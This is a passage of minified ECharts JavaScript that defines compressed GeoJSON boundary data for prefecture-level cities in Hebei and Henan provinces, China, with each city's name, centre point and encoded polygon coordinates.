„„@n`lIUa@K°Iô»ÞVšwÞ@VmnX°WVwmkX»‚U„mŎxVak™lkkKǯUUwÇWUn™U±b—KWƒ™Kk™w„çóK›mU_nW¯ÛmV@bÇKkbkUml¯U±VÇaU™™amlUU™LK›„k@ƒU@mwÛLƒŽƒwkLóÆm_™±™nkޝ@@n±KnŚlbkVV‚mz—lWXº@Ķ°"],encodeOffsets:[[133369,47228]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/he_bei_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"1308",properties:{name:"承德市",cp:[117.5757,41.4075],childNum:11},geometry:{type:"Polygon",coordinates:["@@lLnlmxn„„IVVlUnb@VVxXJWL@LގVnnV„J˜_@wkmšK„b‚x„wXk˜WXXšKlb²K@nVVVb„L@WlU²„lKVnUJVz@VVb@lżmVUVnbôaVX@°Ub@lWbXš@b@bVb°x„@VxÈLVlšaÆ@Þb²k°@lVUŽ@Xn@VW‚LXb@¤VXšKVVVLnm°_ƨ¤@aUIVa„alkX›°k„™V@„alwUVy„U@k󙰃na°UVUUmUÆw@mkLVUƒWVI„WšLnn@xlVnK„myU@ƒU°UXaV@U¥ƒU@Uƙ@aVUkWU¯ƒaU@WLUV@bkbmKULmKkUVUkmVIUwlWV²™Uml°U@W„LUwVm@UUK@_ƒKUUÜaXw@ƒVKUU@mVIUUlmnIVVVbÈVlKnbVKš@nI˜@nVnwVLVK„K„„˜Vnb@aUIVW@In™°@lVnIš@lWĢ@°UVL@b„@VyUUƒa@w@WUnU@Wǯ™K@UkkJWaÛbmk@mVaÞU@amkWƒ@mXUKkÿƒ£@a„kl@Um°UXwla„al@nmlXnW°znW@aƒwV™@ƒakbĉ¥VmU@ƒIƒVƒUƒJkUmWU™KbmkUaƒKkUVU@KV@@klw—™WaU@kmƒXVènbmlUUƒKƒX¯JkbƒI@JmIUWU@ƒLml@XkJ@U™kƒK@aVKwWa—IWwƒmUƒ@mU@J@UaċU™aUUƒVkI±ƒk@UUƒ@UbVVm@UVKƒLƒlkIWaULUWƒXUJU„ƒ@WbUb@lkXUxm@@JVn@J@b„nƒb@Vkx@bšLU‚Æn„JšaVXnKVVmzX‚°V@_lJXxWXƒK¯bÅamUƒ@lUI›bñJ@LÇKkIÇ`kxWL@„ƒ@@bUVUb¯xWKk„Å„VlULW@ƒŽn¦Ul@I™lmUUUVm@kWƒnkKma¯XUKWmnwVwÝL„mŽ™VUbUVWb@Lnxm„xVŽmbXx›¦@„nb@`™„ƒVƒ@kbƒLU„mVUlkbVXkºmnm@@xk¦šbĢÜlš"],encodeOffsets:[[118868,42784]]}},{type:"Feature",id:"1307",properties:{name:"张家口市",cp:[115.1477,40.8527],childNum:15},geometry:{type:"Polygon",coordinates:["@@k™ġۙal¥@wn@nml¹UWlaVknUVƒ„Kla„@„Ušƒ@_ma@ƒœ¥WwnaU‚wnƒmw@KXaVUVašUnmWUk°™lƒnUVUXWVw™IWVóKUI@WXƒxUU@mma@kUKWLkw@yk@ƒaVkUUċaUU@Wk@Unm@UVmLm±IUƒkJ™kWƒ@a„I@m@U„ƒVƒ„Ula„@VXVƒXmVwnkWKƒKU_k@m¥ƒmX_™JmnU@km@U@KmU™VƒU@U™@Umk@@LƒmW@Û£Wƒka@wk™@aƒI@mmk@mUa@UmUƒIƒwW@aWUƒbU@kbÇ@kwƒ@makVUk™U@aƒm@aU@mxkUƒbƒKUXUƒ±KXVWLUK@wkU@V™@WXUa@WbUxƒJIƒŽ@¦VèVVX@±ê¯KUIƒ`¯UULVx@Vƒ@UKƒIƒVkLmVkKmš@nUJÝbkIUJVXšVVxVbU„VJ„Un™°bV„mlU°„XnK@Ul@lVÈVUXšx@W„@VXšV‚KÞb„n@VnbV„m`ƒUx™kW@UVkL™Km¼@lUnUJVnV„XV@Vm@@LV„klƒIkl@VƒWlŽULWKUL@mJ„@blbUVUlmzUJUxm@UUbċÜk@Ub@VšLVV„¦ôbVŽmšUKUkU@m„„@VlVn¼WbUJ¯@@„°šnIllÈl˜@nXšWlLœk‚J@bkxlxkxlXUlklJƒšXL@bW„n`@nƎXxlL@xl@Xb‚LœKlVlIXblVUbUJW@lX@VL@VVŽšXšJšw„n@WnL°K„bVbl@VI@K„@U@nmVmV@XUWI@aXm@™VUUkWmn@lmUUk@mUmK@UnwVĉ@ƒƒmU_V@XJôVVUšLVUn@šllUnJl_n@šml@XŽlLlw²LVJUL@VmbVblVXmVnlš@Ť¦„nn@܎@bšl„@@XV`„Unb@VlLVb²J‚Xn¥ÆÑ@¥Þ@"],encodeOffsets:[[118868,42784]]}},{type:"Feature",id:"1306",properties:{name:"保定市",cp:[115.0488,39.0948],childNum:23},geometry:{type:"Polygon",coordinates:["@@VbXWš@@UlV@xVLXKWU²LV„VW„L„alVnwV@@b„n@bšVVllUnb„@lxÈ@laV@„aXV@b‚X„x„J‚nV@VVb@nnl@n„J@blšl@„ašƒU_VWUwVUškUm™Ukb±mVwœU@VIUW@UWk„@VU@ynL„m@IV@‚bnK„LVaVmnIlaXwV@@WVL°@@xnX„@V`V@VbUVVLVKnwnL@ll@@_V@VVnaÆ@œKVXÆ@nƒ@wƒKmU—™Wm@km@kÜKXU@ÑW±nIUwVƒ„Kla@I°wU±kškmm¯mƒ_ƒJnƒaƒwW@IVaUama@wƒUƒmU@mVw@aXk@mWa@£km@aƒ_kVmUnWW@¯bƒkUmk@ƒVÇm@@kUU™KUU™@UVUamVUaWIkb@xU@@amUkKƒVkam@@kVUkUWmKmUkLUb@xmJƒ™U@UImVÛVmnUwƒJƒU@VƒX@UWm@Ub°¦UšmxklmX@`ULU@@UW@@xkn¯@makV™UmxUb™°ƒlUšƒbUbƒnUJƒUUVƒa™LkbUU›JUU@mUUUƒJkaƒ@™xUIWJƒUnƒJ@V™zƒ@kb@`@bln@l™bƒŽ@X@š@š„@Xl‚bnbVb„@„„VJlInlšbVw@U„K„l@lbnan@Vb‚JôLn‚UzlV@lÈLVbVK@LVx—VWXX`WxXz‚bV`UXV¤nx@„bVlVnVlUL"],encodeOffsets:[[117304,40512]]}},{type:"Feature",id:"1302",properties:{name:"唐山市",cp:[118.4766,39.6826],childNum:11},geometry:{type:"Polygon",coordinates:["@@„@VVl@²„lJ„UVVšbČVVb‚@@InV„@‚V„nXx˜JXb‚xUL@b„Lšl@VlI@Wnk„KV@VXnJ@I„Jla°I„W„LVVnkmaUç„WVkôaܯ„@nV°wnJlaV@VUnUUaW¯wXWWwna@£UaWKU¯ƒ¯@aVUkKUamUUƒn»‚an™„IVwUWlkš@„LlWVakU@K„_lƒšbÞU°@šy°n„@„KÈkWW™ţ¥ĉōƒkġWUw¯£¯ƒÇwţwƒ@kK@kƒ¥ÝwÅbǤېťV™lW°@ĸ™x@VVVULVLkl@V@Xƒ`Ub@Xm@UWbƒk@ÆVbnLWV@lnXUbl‚@X¯lmU™VkKWLkK@_UK@U@UmmUxmVXLWVULkU@`W@ULUK@XlJXzV@@xml@VU@UX@Kk@WbUK@Xn`ƒXmJnšmškxUVbUVlVVxUbV@nKlL„kVKÞbVKXI°KVšmVUIUKULVxVJVLkV@Vƒ@UbU@WUU@UbUK@b@nƒV@VkLmb@b"],encodeOffsets:[[120398,41159]]}},{type:"Feature",id:"1309",properties:{name:"沧州市",cp:[116.8286,38.2104],childNum:15},geometry:{type:"Polygon",coordinates:["@@@ln@UȄŽl@Vn„l°aX@mXnVlU„`@bln@¤Xb@nWl@bUx@nnV‚„„V@xnbVbUb@J‚X„x„b‚mXa@k„UVwlW„k„KôVm@w™kkK@kl»Èƒm™VKXkla°@XVV@VI@ml@@Vn@VX@V@J„@VxUzVVšš²blVk¦@šĠ@@»š@VK@VÈLlK@XnJ@alIUl„a„VVbš@„n@a„U@WUIV@mUn@mKXml@lL@LnWšb@XV@@a„VVb„V„@VV„IVWÈb˜IÈ»ƒǟlWšaVUÅUƒƒ™Um@kVU™WVkaUwmaóUƒJUU¯ÑU¥mk™¯UaƒKÅnÇyóXmWÛX¯aċbÛa›J—W™ÝU¯»ƒaóóUm@IƒšVVl@bƒLUJWLX@@xšXUxl¤V@V„nVUV„XVbVš@Ž„@@VVn„°VŽ@ţU¯VƒUmƒUWV@mUXƒaƒbUKUwUaÇKn„ƒVk¦Wb@VnLmV@bkV@n„xW`Å_UVƒV@bƒUklVX@VmlUƒx@VVL@x—VWVL@VW@UUm@"],encodeOffsets:[[118485,39280]]}},{type:"Feature",id:"1301",properties:{name:"石家庄市",cp:[114.4995,38.1006],childNum:19},geometry:{type:"Polygon",coordinates:["@@la„@šy@U„I‚m„VXIVJšw„@lb„IVVnV‚@VVœIVVlašK„bVU„VVI„mVa„aV™„kš¯VanwšVlUnb°@lm@wX@@VV@VK@_nWlknwV™¯¥Van@VX‚@„W@U„V„IVxnmÜUnUVJV@„šnI@wValKnV@k‚mU£na@mVk°K„LVa@UU@UƒmknWWkXU@aWW@@km@UaU@@klK@UkaWaUnamm@U„a¯wWU@UkƒL@ŽUn@x™V™lUXVJUb™LmU@aUWUkmKkLUUm@mW—XƒaƒmmkkWUm@@U¯JUUm™kU¯@mKĉxÝwÝ¥LƒUóŽmwkUUUWVkKm™kKmLX„lxVLVxXJ@nVJnz@VWL@`nX@šƒxƒ@kVUUmJmIXx„JV„ƒnUVƒ@UVV„@LUšƒ`UXVVƒ„ƒlXL@l@b@VmX@b™xn°™UƒbkKWLXlW@@bƒK„mKULmakLUlmb@šXb@xmXU`V„b@`lLx@nWVXL@‚°WlXnlb„KVK„XVb@˜X@l_lJ@V@XnŽ„I"],encodeOffsets:[[116562,39691]]}},{type:"Feature",id:"1305",properties:{name:"邢台市",cp:[114.8071,37.2821],childNum:18},geometry:{type:"Polygon",coordinates:["@@nKlLnšlLXUVVlVnxô„V‚KÞ¦ÞxĊwnL°@lVnšVV°I@Vn@V‚lXnl„n„b˜WnXn@VVlKnLVlVX@bnVšKVaUIVWškšU@wVm@¯@U¥VmU_°lšK„k‚w@LX‚Va„U@wšUƒUUKlUóW@UVUœUlƒ°K„wlKU_na„KVnlKkkšWWa@IœJVa@IlJnU@„KVUUmVlaXUl@lm@kXWÝÑnkƒ™±™k@wğ›@@U@mKĉLmVJ@zmlnŽWLUÝJU_ƒ@@šmJkXUVlbklÝ@Ýa™b¯@¯±JÅwġaUU@ƒkU™@mVI±bUKƒL™WUXƒJkaƒLóKULWbUVkKmnk@@bmLUŽƒl@b@mnmJkUULƒaƒbnŽmn@lVV@¦n@„l@b‚znx@`Vz@b„xnV@xl„lbnKVx"],encodeOffsets:[[116764,38346]]}},{type:"Feature",id:"1304",properties:{name:"邯郸市",cp:[114.4775,36.535],childNum:18},geometry:{type:"Polygon",coordinates:["@@„bVKlVnInm‚@@a„kVnK@al@nmlLVUXaVKôL„Klb„IVWšX„KVL²a‚JnUš@lV@„VVĢbÆx²I°Ž°@šaÞbÞ@lkkaVUlWnI@™„@V`ÞI‚VXKmnk@y‚InUĊKƒÇkUUamUUkƒƒ@aU@U™ƒk@WUwVkVJVkkw°a@„mK@UX@VV„LVW@wšwVa@¯Xm@@lUIWaU@UWkXWmU@UwmUkKmn@lkVƒ²™VƒaULUVmJUUUwƒLma@™UmkIUm›L—mVšmx@b™LUamKÅL@VmbkU¯KÝamzkJUb±Vkb™L@lU@WIkJƒzkKmKƒnUalWkkKW@@nkbk@WW¯XUVUJ@XlJ@Xƒ@XlWLkUƒ`VUnaWa„UV@UVIƒaUxUUmVƒK@I@W@DŽU@@U@bƒ‚@nmKXmx™@UxkVWUX„@`VLlL@`™zX‚Ýb@b‚„@VUVkIUJVz°KVlnLlKnL„xlLVVUVlXUJ@nn‚„I@mVUlbn@@Žm„@bV„nV"],encodeOffsets:[[116528,37885]]}},{type:"Feature",id:"1303",properties:{name:"秦皇岛市",cp:[119.2126,40.0232],childNum:5},geometry:{type:"Polygon",coordinates:["@@lnV@Xb˜škx@lU@@LUVlV„LVbnl‚ašLXVVn‚l„I„V„U„JV@UnĊ¦la„bš@nJ°UmƒV@„wn@VU„JVI°bnWlXnWVLVK²b‚akk„lI@aUaVƒUwVUUalaVwnUVak¥šX@W‚kœLVÓm„mUK@_lWš@n_UK@alÅ@ğÅƑŃݍmƒ@їţÇlƒLƒ@¯m™z¯@ÝV™ak„ƒ`@LlVUbkXƒK™@klVXUxƒJmšbm¼V„nVVblLUV@b„°V°XLVb@¤mbXxWX°xXŽVbmVUVU@kbmI¯xmUƒ@Û°óbUl"],encodeOffsets:[[121411,41254]]}},{type:"Feature",id:"1311",properties:{name:"衡水市",cp:[115.8838,37.7161],childNum:11},geometry:{type:"Polygon",coordinates:["@@„KVlV@X°xƒb@VnnmbVŽXblb@VkL@lV@Vbn@@l‚@XX@bWVXlmXnlV„V@@VUbƒK¯LUl@nmbV¤n@l‚LXnlVUV@ln@lb„UlLnV@bV@@wlaXJVbnUVbVUš@VVšLVVn@VVX@@U‚KXU˜U@wUK@U„wVnk@UUWlk„V@a„UVUÆ`X_ƒw@mlU@anUmK@UXal¥„UmƒÈLVbVxVL„a„bVW@nXU‚Vn„„V°UŤV@Uƒ¯Um@Uƒ@@U™UaƒWVUmUUƒU@k£Vw™W@wW@XKƒIUa@wU@@al@UK@_mKXKƒbUU@aVKmš@Xmƒƒ±@kbÇakLğVaUw@a@ƒmkUJƒk@ykw@£ƒWX@lknk@WVkbUŽVnUVƒL@‚mVkI@JUb›I@JXb™XllkLUmƒLmbV`kLƒx¯Lk„›VUV@VôXkVVL„V™V@xƒVUbW@Kxƒl™L¯kV`UnV¦°@"],encodeOffsets:[[118024,38549]]}},{type:"Feature",id:"1310",properties:{name:"廊坊市",cp:[116.521,39.0509],childNum:9},geometry:{type:"MultiPolygon",coordinates:[["@@la„Ušš@šUnL@VWbklWxnIVV„V@X„JlbUlšXVbn@@K„mV@@X°WVInJmn²@lmVbnL@amKV_kwlmX@@LVamaXaƒaVU@UnJVanLlUkaW@UaVakK@IlKUU@an@ln@alKUƒkIVa@a@klaUKUV@UkUV¯šKVƒV@kUmƒU@@a¯ImJUU@VV@UL@Uƒ@@WXUWa@Ukwm™@ƒX@@w@al@@aVIUmVUUUVWUknK@I@™l¥kU±a™™UUVyUwƒ@@I@UUWm@@Uk@@nUJU@WU¯@kbWlULnšÇ„k¼@llLšl@xUnóŽƒLƒlkXUxƒV@lWb„I„`°nnn™llŽV²¯x@JkbƒLU„VxmJX²@ÒWVÛL@lln@‚Xn˜šnV„L"],["@@@kX@Valaa@KWI@UXW@WanaUIW@UaUKķŽk_W@UVUKUš@bƒ@UamxVXnJUbWVXLVbn@W°kb@U@Wó¼mIU¼k`V„@bVbl@„lX@lUôVlUœIV`lX„Vn@lUlVn@„l@UVaƒIUWl£Um™VWU@@UUKlUUUnƒVL@KšUnLVWUa›@™U"]],encodeOffsets:[[[119037,40467]],[[119970,40776]]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/he_nan_geo",[],function(){ +return{type:"FeatureCollection",features:[{type:"Feature",id:"4113",properties:{name:"南阳市",cp:[112.4011,33.0359],childNum:12},geometry:{type:"Polygon",coordinates:["@@lKl@nVV@„bn„@VVnm‚nL‚LXx@š„‚VLlKVU„IXWÜ@șlbl@XUĊUlwnW„LÞw‚m@ÞUVmnVl@nX‚JXLm@VnnJla„I@VkxVb„@VŽln„J@knKVn„@°aVanal@XK°b„‚@š¯VJXIš„VK@al@nV„k‚@nK„a‚b„@XL@blVVKVLXK„@VaVI°mVaX@V_@a@yUkVw„VšIVašJ°™@anIlaV@nKnXÆm@wUUV±UUWUKnaWwXUWmٝVƒam@kakImƒUKƒ»lan@VXXa˜W@@UlUUa@a@UlwUƒV@Xal@@anIVaUK@V™XmwVmUmV„LXl‚@nalLnal@„šnKlkV@@UnJ‚UXnl@nVl¦V@@VnJ@nUVVVVIn@Va„JƗn@@K@m„kƒa@kmWVaUI@a@™k@@aUL@mmaVIUKUVƒ@@IU@mƒUmmL@K@UUUU@mW@@nU@ğ»mVmbk@klW@UXnV@LƒJm„™lUnUJ™UUUWƒƒ@UnkKƒxmLa@ƒ@@lUU™bmUVWk@@nkUmam@UakJU_ƒVm@ÅlÇLUVmVUwULƒKU@ƒk@UƒVUlU@@Uƒ@UaUUWaŎƒzJƒaWLkl™b@bmL@„kKƒabWŽUVƒ_@mV@b¯JmXUbUK™¤ÇLUU@b@JkLWmkUWIkJ@VmX@JUbVXU`¯VV¯blK@LXKl„UV@Um@@Uk@kxWŽkbƒL@KkbmL@‚UXmaU@@l@x@blX@xUJ@bULUlULÇ@@VšnU`W@@nÛ¼U@@VmKUkm@VVX@@xǚ@bUbVb@VX@@x‚LUb@lƒ¼XLlbUlVVU„Ub@n"],encodeOffsets:[[113671,34364]]}},{type:"Feature",id:"4115",properties:{name:"信阳市",cp:[114.8291,32.0197],childNum:9},geometry:{type:"Polygon",coordinates:["@@VllInJlknJVkVU@mXlUÞ`VnV™VU@U@y„@nXlKV„nJVkXKWaXI‚b@yVk„VUkVwn@‚K@nW@k„KlUXVVUlbnUV`n@V_V@llX@@V„b@bV@@nlVUb¯‚WLnbmb@ŽnLnK˜b„U„bVWnLlaX@VVUX@Vln@`kL@ll@VXVJÈIVl@XÞJ°Una„LlylU@UXKlnn@lanLWWnbVI@KXKVL@LVWVL@UVKUIVWX@@XÆJ@In`@lJVI@a„WšÛnK@UlK@UU@VK„nlm„nXal„UllLUbVVšknJ@nV@Vm@a„l@@xnV„„lJVUU@™w@aƒk„@XW@_mWnUlŁUmVKV@VXwW»XƒWaUwnkWUkVUƒU@@@WlaUkkaƒIWVkm¯xmIUmƒLUVƒaUIó»m@mmwXk@a›mk¯¯l™@wƒmkLmmU@UbkUWJ@XUbƒJ@b@l@znÆmK@Xk@Ub@lm@ƒI@akmVKUUVUkU@U±JUbkƒ@IWmkxƒa@UUV™UWVkIUaW@UlLWn@VkJƒI@VkK@L@bmKƒkJmUUaUKWXk¼VxnJ@„V@@VULV¼ƒ@@UkaUlWL@U@W@IkKmL@KULUWULWKUXUJmIƒb—KƒŽƒ²UW™nWKUUkLUƒmUUam@UU™@ƒmUL@xkV@„VV@bmV@Vk@mwkUƒVUx@mbX‚ÇnVb„‚UL¯šWŽnUVLVb@xnlWnU@UVUVVUbVVlVkn@llVUXUWUXVbUJ@bmLUJnb@nVK@bl@@š@bVJUbnX@l„b"],encodeOffsets:[[116551,33385]]}},{type:"Feature",id:"4103",properties:{name:"洛阳市",cp:[112.0605,34.3158],childNum:11},geometry:{type:"Polygon",coordinates:["@@VVUllLXl@LWn@J„@bƒKUVmnL@`VblLnbV@„b@JmL@LnV@VV@¯„VJVnXL˜@nm@aÞ@‚a„k@m„IšmVbXL‚ynLšk°@°aVJnUV@UVVXk@WJ@VXLlUnJVnnƒ°U@»°U„wl@šb„WmUXƒÆ@VLXU@m@U„a@I›mkb™a@naWW@_@WXUV@@U‚ƒ²@„K@I±U@¥kKWLóLlƒa@£Um@kWKXU@mlLXUVKUU±J¯_@`UL¯Wmk@Wa„kkƒlUnƒVUVaU@KUU@mmK@_ƒa@KX@VaUIm±™k„aVKVUkw™@kaƒƒW@kbkL±UUaƒK@UUKVak£ƒ@UmmL@lƒIkmUƒ@Ualw@UƒJkbmIUmn@WKImWk@mUUnÝV@ށnÝxƒKmXkxĉVWVk@kaċšÛ@WXƒJUV@zŽm„VWnbUbVbšLlUnŽ‚lUÒnWV—VWnk@@Vm@kxm@Un™l@Ll@@V@šXnƒškJV„šV@nlVXx˜U@l„n@aš@VLnWĊ¦nxš@lbVKXLl@ރVLƒ„XJl@XXl`lIXVl@Xl‚XUVšK„wV@lanx„zUbVJ@VVX@b"],encodeOffsets:[[114683,35551]]}},{type:"Feature",id:"4117",properties:{name:"驻马店市",cp:[114.1589,32.9041],childNum:10},geometry:{type:"Polygon",coordinates:["@@n@„b°UƂXnVlnLÜ@VLœm@n˜@na@J„„m@k„@lVšVxXX@„V`lLV„XVV@VVÞLVV°„²@lašbnxV@@b„Lšmlm„_VWnIWUna@lšLšbnV°ƒVL@KšV„LVUVaVLXK@mÆXna@wVm„a‚@Xw@KlL@a„@Va@wUkaWnIVƒla@Kn@Vn@VUl@nKVn„J@LnK@aVkVUUWƒ@VakUVanI‚²X‚W@UUU°KnUVLl@XaVK@ašU@KUI@W@_lm@KkLUKV_Uƒ@»@UVJ@XV@@mVL@K@U@Kk@VwUUm@kmWL@VkVkzƒKmb¯VÝI@WUkÇJUIUWk@@klK@_km@UVWUUW@kbmKUXƒaƒV—amLmK@namaXK°VakU@mU@@aƒa@UW@kkU@U`m@U_mVkaUVWUkVƒL@lmX@ށLm@UxVlƒUUl@zaWJXbWLUlmIUƒkLmWƒ@@z@VUVUšUmÝ_kVWŽ@nUVUlmIklmIkJUkƒl@n@Lm@؃IUbm@UJUUVU@mmI@UU@k¥mUk@WmVmI@VU@klmLƒ™k@mbkKmb@WkƒKUŽVnUnnxšW@UVLUbmJ@bk@WbU@V„kx@V@bVbkV@V‚@‚—XWbUWm@kb„¼VLn„lJlb"],encodeOffsets:[[115920,33863]]}},{type:"Feature",id:"4116",properties:{name:"周口市",cp:[114.873,33.6951],childNum:10},geometry:{type:"Polygon",coordinates:["@@lšnb@xlJ@UnLlKXUlJl_„KnV@xVL@bkbVVUè@šWb@„Ubmš„ŽkšVšmbX„VJnUl@„a°@@b„LVbƒlXx˜InmnLVw‚anJÆw²IlmnXVl°VVbÈaVb„@lkn@VWnLlUVmÞUUklƒkƒVkUaVaVaUw™K@kkaVWmw„_„‚l@nU„VVb@b„aV@VV@zXJl@@kl@šlœk°WVnÆbnbUšVJ„Iš@VKVm@k™K@_kK@a@aU@@wW@@k@aUW@IUWVUnLlUlVXKVwmk@W@—VWa„¥@k@lnƒUIÇKUaU@ƒUUVmIUV™Uk¥ƒVma@¯k@Wanwmƒ„@@n@@m@UIVƒkUVamUXWƒaV™U_™@ƒmUVUImW@aUIĉK@VmI™b@lU@@n™JƒkU™@KƒIUmmLk@UVm@UŽm@@LkbU„mJXlbV‚@xUbƒ@@bkK@LWx@ƒbUn@xmbÅW@nWLUKUbUVƒK™U@LUK¯„mU@šVV@xULUŽVL@bU`WšUz¯aUamKUaƒ@@xkX@x"],encodeOffsets:[[116832,34527]]}},{type:"Feature",id:"4114",properties:{name:"商丘市",cp:[115.741,34.2828],childNum:8},geometry:{type:"Polygon",coordinates:["@@XVl@lLȃ„@VkV@V»UanƒWX@VaÆÇô@ÈaVX@xVJXUÞU‚aVLĸbXKl„V@šm°Vn_ny˜XX»mUk¥lK@a„_@yšInaVKVa°_@WXI@ƒ@K‚VnIlbnaV@„l„@‚a@_w@ƒlwUKm™Xa@UV@š»Vƒšw@kUKVUUm@w±VUXUKUwmJUUƒ@km@@±mXkmUI™@mm™KUwkbWakLWaUIkJmŽƒX@l@@VUX@JWbX@VbULWbƒlUVULknlV@bVJk„mb¯KknWmk@@nmVkx™@ƒVmU¯KUnUL™@ƒJUIV™maÅaUm¯X›l™kk@@lk@WI@yUUU@ƒb@aUaƒUmVk@ƒƒ`nxUXlb@lšLVxUbUbVbUll„k„VlÝVUnkVmKUXm@klƒ@ƒnUx@xnxƒn@`VX@V²x@V@b@„Wl@zU`VUVVb„L@Vƒb™W@bkXllkLWV@V„@VVÈwlVœ@@X˜K²Llb„WnnÆL@VnJWn"],encodeOffsets:[[118024,35680]]}},{type:"Feature",id:"4112",properties:{name:"三门峡市",cp:[110.8301,34.3158],childNum:6},geometry:{type:"Polygon",coordinates:["@@WKUmUI°ƒU@@UmU@KnK@IƒaU@makKUa@_‚KnmVU„L@a‚ƒ@IXm@KWkkKVkUU@aUW@UUIVaƒymwkbU@ƒx™LVUWWkk@WUkJk_WWk@WI„ƒUK݄k@WKULka™@mwĉ¥mXUK™@@bƒm@k—VWwkU@m™UUƒlI„™Wm@™@Uk@@KškVmn@lwn@@Ul@Xm˜UXUmVсkmkV™KUaVamaUXnƒ‚@ykLUKƒ@™WwKmKnUm@UmƒƒaU@mUk@kL@lƒxċxUnkVmnXxWb@`kzWJ@V—LmVUn™lmUL@lW@Ub@VšXUbš`VLUbUJ@nmnUlUUm@@bUJlnU„š‚U@lxkbƒ@@XƒJUnƒ@kb¯VVVmlXXlJlzn@VlkVW@bkK™bmškŽUbVb„lƒXVxšKÈnšwÞlĊKlšVnKlwX@lL@xlUnVn„@šl@lmX@ƄÈb°¼ÈwVJlx„_°xšašlšUÈxlUnbVxnL@lllšbm„n@nb‚@@V„L@V„@@„VLšJnIVVlKnV„_"],encodeOffsets:[[114661,35911]]}},{type:"Feature",id:"4107",properties:{name:"新乡市",cp:[114.2029,35.3595],childNum:9},geometry:{type:"Polygon",coordinates:["@@XVlL„K°bUblbUbšl@nX@W„XVVKVkš@@Žmb@„Ubn„W`kL„LƒV@VVLnKlVXIlVš@@a„@l£nWlƒkVa„@°bnUlLVlna‚bnUVUXKlU@ƒ@lk@a„I°y„@ôkUU@wšmôšnkWakml™UkVmkUlmUUm@nkUKWanamU„LXW@U‚VnUln„`l„œblL°KXV@ĠJ@L°„šJšUVw„anK@UUImmƒkK@¯±Um@IVmUmmÅnWaUK¯aUk„w@W±kVƒx™U™VƒwƒnÅJUIWaÝJóI—bm`ÝbÅImJUI¯¥¯@mU¯UƒJmnUVóUkl±V@zXl„bWVXL@bm„mº@@XmJUXU°llk„@nWJk@U„@¦U`m¯ŽWx"],encodeOffsets:[[116100,36349]]}},{type:"Feature",id:"4104",properties:{name:"平顶山市",cp:[112.9724,33.739],childNum:8},geometry:{type:"Polygon",coordinates:["@@l¤UbVL@V„LVb²VlKlaX@„„lbš@lxUVULƒbšln²VJUbW@@L„b@`nL@nVV@LVŽUbUVm„kVl„ƒlXbl@Xn°ŽVK@_°`²IVVV@VUVJnInaWK@Uš@„K„LÆ@nmlXXWVUUw@klKVa@knyVkVanI‚JXUl@XbVUl@@aša@mXk‚bnK@UlK@UUUVaXaWmkUm¥n—WmXaWaœkl@VmÞb„KVL@aVI@mUwVm„@KōméUL™KVaUk@kUK@U˜WXI@VlKXU‚@VVnInVV@VLlK@UUƒkKU_@ƒWWUwU™@klƒn@ƒƒ@Imb—@@m›nUKÛ@mKUkWVXxmbVLXŽVVU²VV@xÅnmWmLU@kbmJ@b¯š™IUb™JƒUUxVl@z@bU`W@Ub¯nUJUbƒ@WLUKULkU@aWKƒ@aƒbmL@ƒlmUk@@bUL™ƒWJUI™°@ƒŽ¯aWLk@mbUb¯b"],encodeOffsets:[[114942,34527]]}},{type:"Feature",id:"4101",properties:{name:"郑州市",cp:[113.4668,34.6234],childNum:8},geometry:{type:"Polygon",coordinates:["@@@nWVUKÅ@W„nVnI‚ŽV@œkƂšwV@šnn@lxÞlnôJ˜zXJl@nalUČVlƒl@²UlkôVVUnm„I°VnV°@°¦VJnIÆJÞan_VmU@ama™@kU˜¥kaUklw@UIV¥kVUI@ƒmmUÅmUlƒwVU@amU—JWbUakVƒ—Vé¯Im`ƒk—@ƒwVWmLkU¯ŽƒXkWmLmx@UUƒbm@@x™J@LbW@UUVWUkVKƒ@ka™IUamKUkkmmLƒUkJUVWXkWmnÅ@ƒKƒL™@@VXLmbmJUIUVU@ULWVkK@nWVXL@lVn@¤„b‚kôKXKlL@¦²V@JƒL±@„@VU@WV@X@`XXmb@Žšblaœn@Jƒb@V"],encodeOffsets:[[115617,35584]]}},{type:"Feature",id:"4105",properties:{name:"安阳市",cp:[114.5325,36.0022],childNum:6},geometry:{type:"Polygon",coordinates:["@@°kVaV¥kVmUkWkWVkVKUwkkmKUU@a„wWWXWakKWkXmlašIVmX¥ƒU@a„@WnK@kƒƒ™V™I¯ƒ@KğI@WU¯LkK›akƒƒ_kmmVU@VWXƒKnVmbXbVLmln@VVknlVUnVlkšlnXbmlmlXblnÈlWbn@@nšK@V„L„bVV°VVzšlnš@V™xƒI™b™ŽU@WLUa¯V™UkWõ@¯kkmxk¼l‚„XUlVbVLnlULmU@lƒLkVUlƒX@xW@¯mUƒ@UmIUW™L@aXa˜kU™¯anƒWk°@k™kKmmUIWaambUkkKmV¯aƒ@UblŽk„mXk¤ƒ@@b™@UbULWVnb@lUVVnmšnVVU„J@bWXX@WJkL@blVU°UV@XlWnXUbW@UVkVšVWbnLUJWLUK@Lnn@blVU‚„nUblxVUVJXU„a˜@Ub„LnUVV@mVIVVn@UbV@‚XbmbUV„_lVXUWanJVI@WkI@WVIVU°WXXl@la@mX@lLXl‚kVbœm‚X„ylIXJV@@kšKla²UVa„IVyÞb°LlVna@UÆKnLVbšK@anwU™"],encodeOffsets:[[117676,36917]]}},{type:"Feature",id:"4102",properties:{name:"开封市",cp:[114.5764,34.6124],childNum:6},geometry:{type:"Polygon",coordinates:["@@lUVbXa˜InV@bUV„x‚knVVÆnn@„VJlUU¦VJ@kxVllb—¦lVš@nb@bVŽUn˜aôJÞIXbVJÆI„m„xšUšV„w‚U²l@XƒxVl°bVLXb‚`XklUnmVblLœ@lmšx°LVK@UXIVašWlL@Ukƒ°KkVaVUXmmI@UÅKmmƒXka±K—L@W›@kUÇxUUƒ@@UXUlKkklW@ašX„a@UƒKUaVUUV_@yXk@ƒ@a@U±w@UUW@_„mmw@wVw„mUaÇbUa¯UUkmWkn±JÅxmIbUxmKmn—JWw„kUaƒK@a¯@ƒbk@mVUIWƒ—Lmwm@Ua@WJUb@LUl™@UUmLUbWJ@VL@VmXWWzUJUꄘ"],encodeOffsets:[[116641,35280]]}},{type:"Feature",id:"4108",properties:{name:"焦作市",cp:[112.8406,35.1508],childNum:8},geometry:{type:"Polygon",coordinates:["@@V@VL@x@bXŽWV@XkššlUŽWX@J„@nI@KlL„KšUVaV@œJlL@KUk@KÞL‚l²_‚@nWlL„UVVš@nLWVUJVn@anV@a„wÞUVLVx„b„@lW„@lbXn‚Vn@